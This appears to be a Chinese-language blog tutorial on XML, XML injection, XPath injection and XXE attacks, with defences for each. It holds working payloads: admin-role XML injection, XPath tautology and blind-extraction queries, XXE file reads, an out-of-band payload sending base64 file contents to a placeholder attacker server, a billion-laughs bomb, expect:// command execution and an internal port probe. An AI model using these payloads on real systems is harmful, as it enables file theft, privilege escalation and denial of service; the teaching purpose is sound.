从XML到XXE

XML

什么是XML?

XML指可扩展标记语言(EXtensible Markup Language)

XML的设计宗旨是传输数据,而不是显示数据

XML不会做任何事情,XML被设计用来结构化、存储以及传输信息

XML语言没有预定义的标签

XML 不是 HTML 的替代

  • XML被设计用来传输和存储数据,其焦点是数据的内容
  • HTML被设计用来显示数据,其焦点是数据的外观
  • HTML旨在显示信息,而XML旨在传输信息

XML语法结构

语法

  • XML元素都须有关闭标签
  • XML标签对大小写敏感
  • XML必须正确地嵌套
  • XML文档必须有根元素
  • XML的属性值须加引号

结构

  • XML文档声明,在文档的第一行
  • XML文档类型定义,即DTD,XXE 漏洞所在的地方
  • XML文档元素

DTD

XML文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的

DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)

DTD文档

1
2
3
4
5
6
7
8
1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>

2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

实体引用

XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义五个实体引用:

1
2
3
4
5
&lt; < 小于号
&gt: > 大于号
&amp; & 和
&apos; ' 单引号
&quot; " 双引号

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量
实体引用是对实体的引用
实体可在内部或外部进行声明

内部实体

1
2
3
4
5
6
7
8
<!ENTITY 实体名称 "实体的值">

例如:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "hello">
]>
<foo>&xxe;</foo>

外部实体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file://文件绝对路径 如:file:///etc/passwd
http://url/file.ext
php://filter/read=convert.base64-encode/resource=xxx.php


例如:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

外部evil.dtd中的内容
<!ENTITY evil SYSTEM “file:///etc/passwd” >

%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在中

XML注入

什么是XML注入?

XML注入攻击和SQL注入攻击的原理类似,利用了XML解析机制的漏洞,如果系统对用户输入<,>没有做转义的处理,攻击者可以修改XML的数据格式,或者添加新的XML节点,就会导致解析XML异常,导致XML注入攻击

如何注入?

如下XML是用于注册访问用户,其中用户名是由用户自己输入的

1
2
<?xml version="1.0" encoding="UTF-8" ?>
<user role="guest">用户输入</user>

攻击者在输入用户的时候,可以构造 user1 < /user> < user role=“admin”>user2数据去拼接XML,之后整个XML字符串将会变成如下格式。这样就添加了一个管理员权限的用户

1
2
3
<?xml version="1.0" encoding="UTF-8" ?>
<user role="guest">user1</user>
<user role="admin">user2</user>

如何防御?

使用安全的XML库

正确代码使用Dom4j来构建XML,Dom4j将会对文本数据进行XML编码,从而使得XML的原始结构和格式免受破坏,防止了XML注入

对用户输入的字段进行转码处理

使用实体编码对用户的输入进行转义

XPath注入

什么是XPath注入?

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息

XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容

XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限

如何注入?

XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作
注入对象不是数据库users表,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequest parameters/input

如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生Xpath注入,那么就攻击者就可能通过控制查询,获取数据,或者删除数据之类的操作

Xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面,搜索页面需要与xml交互的位置

Xpath直接注入

示例:
test.xml(存储用户名和密码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>

php(用于接收传入参数,并进行XML查询)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml=simplexml_load_file('test.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
?>

使用simplexml_load_file()函数返回类 SimpleXMLElement 的一个对象(该对象的属性包含 XML 文档中的数据)

攻击者在username字段中构造恒真语句如' or 1=1 or ''='进行闭合,获取所有user数据

Xpath盲注

如果遍历出整个XML文档,一般步骤如下:

1.盲注根节点
利用count(/*)判断根下节点:

1
?name=' or count(/*) = 1 or '1' = '2

有返回结果证明存在一个根节点
利用substring分割根节点的每个字符,猜解第一级节点:

1
2
?name=' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2
?name=' or substring(name(/*[position() = 1]),2,1)='o' or '1'='2

2.盲注root的下一级节点
判断root的下一级节点数:

1
?name=' or count(/root/*) = 1 or '1' = '2

有返回结果证明存在一个root的下一级节点

猜解root的下一级节点:

1
2
?name=' or substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2
?name=' or substring(name(/root/*[position() = 1]),2,1)='s' or '1'='2

重复上述步骤,直至猜解出所有节点,最后来猜解节点中的数据或属性值

如何防御?

限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量

XML外部实体注入(XXE)

什么是XXE?

XXE漏洞全称XML External Entity Injection 即XML外部实体注入

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

如何注入?

与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件

读取任意文件

有回显

首先准备一个有XXE漏洞的文件,这里以php文件为例

示例代码:

1
2
3
4
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);//有回显
?>

payload:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///D://1.txt" >
]>
<root>
<name>&file;</name>
</root>

读取文件,需URL编码后执行

通过构造外部实体payload,在 xml 中 &file ; 变成了外部文件1.txt中内容,导致敏感信息泄露

无回显

无回显的文件读取可以通过 blind XXE 方法加上外带数据通道(ooB)来提取数据,先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到攻击服务器来读取数据。虽无法直接查看文件内容,但我们可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。即,当无回显情况时,可以将数据发送到远程服务器(攻击服务器)

paylaod:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd:

1
2
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
//%号要进行实体编码成&#x25

进行XXE攻击后,服务器会把文件内容发送到攻击者服务器(这里是ubantu的apache日志记录)

img

ubantu查看apache日志记录命令:

1
tail -f /var/log/apache2/access.log

本地抓包也可以看到Base64编码后的文件内容

拒绝服务攻击(Dos)

常见的XML炸弹:当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

原理:递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9

执行系统命令

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

探测内网端口

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

如何防御?

使用开发语言提供的禁用外部实体的方法

php:

1
libxml_disable_entity_loader(true);

java:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键字:<\!DOCTYPE<\!ENTITY,或者SYSTEMPUBLIC

不允许XML中含有自己定义的DTD

参考:
从XML相关一步一步到XXE漏洞

XXE漏洞详解

XML注入攻击总结


猫猫🐱



© 2025 子非鲲 使用 Stellar 创建
共发表 44 篇 Blog · 总计 109.6k 字